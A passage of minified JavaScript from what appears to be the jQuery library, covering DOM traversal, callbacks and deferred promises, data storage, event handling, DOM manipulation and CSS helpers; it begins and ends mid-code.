this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),S.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,"parentNode")},parentsUntil:function(e,t,n){return h(e,"parentNode",n)},next:function(e){return O(e,"nextSibling")},prev:function(e){return O(e,"previousSibling")},nextAll:function(e){return h(e,"nextSibling")},prevAll:function(e){return h(e,"previousSibling")},nextUntil:function(e,t,n){return h(e,"nextSibling",n)},prevUntil:function(e,t,n){return h(e,"previousSibling",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,"template")&&(e=e.content||e),S.merge([],e.childNodes))}},function(r,i){S.fn[r]=function(e,t){var n=S.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=S.filter(t,n)),1<this.length&&(H[r]||S.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\x20\t\r\n\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}S.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},S.each(e.match(P)||[],function(e,t){n[t]=!0}),n):S.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<S.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},S.extend({Deferred:function(e){var o=[["notify","progress",S.Callbacks("memory"),S.Callbacks("memory"),2],["resolve","done",S.Callbacks("once memory"),S.Callbacks("once memory"),0,"resolved"],["reject","fail",S.Callbacks("once memory"),S.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return S.Deferred(function(r){S.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){S.Deferred.exceptionHook&&S.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(S.Deferred.getStackHook&&(t.stackTrace=S.Deferred.getStackHook()),C.setTimeout(t))}}return S.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?S.extend(e,a):a}},s={};return S.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=S.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;S.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},S.readyException=function(e){C.setTimeout(function(){throw e})};var F=S.Deferred();function B(){E.removeEventListener("DOMContentLoaded",B),C.removeEventListener("load",B),S.ready()}S.fn.ready=function(e){return F.then(e)["catch"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)||(S.isReady=!0)!==e&&0<--S.readyWait||F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState||"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener("DOMContentLoaded",B),C.addEventListener("load",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||S.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!S.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(K,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}S.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),S.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){Q.set(this,n)}):$(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),S.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,S.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=S.queue(e,t),r=n.length,i=n.shift(),o=S._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){S.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Y.get(e,n)||Y.access(e,n,{empty:S.Callbacks("once memory").add(function(){Y.remove(e,[t+"queue",n])})})}}),S.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?S.queue(this[0],t):void 0===n?this:this.each(function(){var e=S.queue(this,t,n);S._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&S.dequeue(this,t)})},dequeue:function(e){return this.each(function(){S.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=S.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Y.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,te=new RegExp("^(?:([+-])=|)("+ee+")([a-z%]*)$","i"),ne=["Top","Right","Bottom","Left"],re=E.documentElement,ie=function(e){return S.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return S.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ie(e)&&"none"===S.css(e,"display")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return S.css(e,t,"")},u=s(),l=n&&n[3]||(S.cssNumber[t]?"":"px"),c=e.nodeType&&(S.cssNumber[t]||"px"!==l&&+u)&&te.exec(S.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)S.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,S.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Y.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=S.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ue[s]=u)))):"none"!==n&&(l[c]="none",Y.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}S.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?S(this).show():S(this).hide()})}});var ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="<option></option>",y.option=!!ce.lastChild;var ge={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],"globalEval",!t||Y.get(t[n],"globalEval"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,y.option||(ge.optgroup=ge.option=[1,"<select multiple='multiple'>","</select>"]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))S.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+S.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;S.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<S.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}var be=/^([^.]*)(?:\.(.+)|)/;function we(){return!0}function Te(){return!1}function Ce(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ee(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ee(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Te;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=S.guid++)),e.each(function(){S.event.add(this,t,i,r,n)})}function Se(e,i,o){o?(Y.set(e,i,!1),S.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(S.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n&&n.value}else r.length&&(Y.set(this,i,{value:S.event.trigger(S.extend(r[0],S.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&S.event.add(e,i,we)}S.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&S.find.matchesSelector(re,i),n.guid||(n.guid=S.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof S&&S.event.triggered!==e.type?S.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(P)||[""]).length;while(l--)d=g=(s=be.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=S.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=S.event.special[d]||{},c=S.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&S.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),S.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.hasData(e)&&Y.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(P)||[""]).length;while(l--)if(d=g=(s=be.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=S.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||S.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)S.event.remove(e,d+t[l],n,r,!0);S.isEmptyObject(u)&&Y.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=S.event.fix(e),l=(Y.get(this,"events")||Object.create(null))[u.type]||[],c=S.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=S.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((S.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<S(i,this).index(l):S.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(S.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[S.expando]?e:new S.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click",we),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Y.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},S.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},S.Event=function(e,t){if(!(this instanceof S.Event))return new S.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?we:Te,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&S.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[S.expando]=!0},S.Event.prototype={constructor:S.Event,isDefaultPrevented:Te,isPropagationStopped:Te,isImmediatePropagationStopped:Te,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=we,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=we,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=we,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},S.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},S.event.addProp),S.each({focus:"focusin",blur:"focusout"},function(e,t){S.event.special[e]={setup:function(){return Se(this,e,Ce),!1},trigger:function(){return Se(this,e),!0},_default:function(){return!0},delegateType:t}}),S.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){S.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||S.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),S.fn.extend({on:function(e,t,n,r){return Ee(this,e,t,n,r)},one:function(e,t,n,r){return Ee(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,S(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Te),this.each(function(){S.event.remove(this,e,n,t)})}});var ke=/<script|<style|<link/i,Ae=/checked\s*(?:[^=]|=\s*.checked.)/i,Ne=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)S.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=S.extend({},o),Q.set(t,a))}}function He(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!y.checkClone&&Ae.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),He(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=S.map(ve(e,"script"),De)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0),s&&S.merge(a,ve(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,S.map(a,qe),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Y.access(u,"globalEval")&&S.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):b(u.textContent.replace(Ne,""),u,l))}return n}function Oe(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||S.cleanData(ve(r)),r.parentNode&&(n&&ie(r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),S.fn.extend({detach:function(e){return Oe(this,e,!0)},remove:function(e){return Oe(this,e)},text:function(e){return $(this,function(e){return void 0===e?S.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return He(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||je(this,e).appendChild(e)})},prepend:function(){return He(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=je(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(S.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return S.clone(this,e,t)})},html:function(e){return $(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!ke.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=S.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(S.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return He(this,arguments,function(e){var t=this.parentNode;S.inArray(this,n)<0&&(S.cleanData(ve(this)),t&&t.replaceChild(e,this))},n)}}),S.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){S.fn[e]=function(e){for(var t,n=[],r=S(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),S(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Pe=new RegExp("^("+ee+")(?!px)[a-z%]+$","i"),Re=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},Me=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Ie=new RegExp(ne.join("|"),"i");function We(e,t,n){var r,i,o,a,s=e.style;return(n=n||Re(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||ie(e)||(a=S.style(e,t)),!y.pixelBoxStyles()&&Pe.test(a)&&Ie.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function Fe(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=E.createElement("div"),l=E.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",y.clearCloneStyle="content-box"===l.style.backgroundClip,S.extend(y,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=E.createElement("table"),t=E.createElement("tr"),n=E.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,re.removeChild(e)),a}}))}();var Be=["Webkit","Moz","ms"],$e=E.createElement("div").style,_e={};function ze(e){var t=S.cssProps[e]||_e[e];return t||(e in $e?e:_e[e]=function(e){var 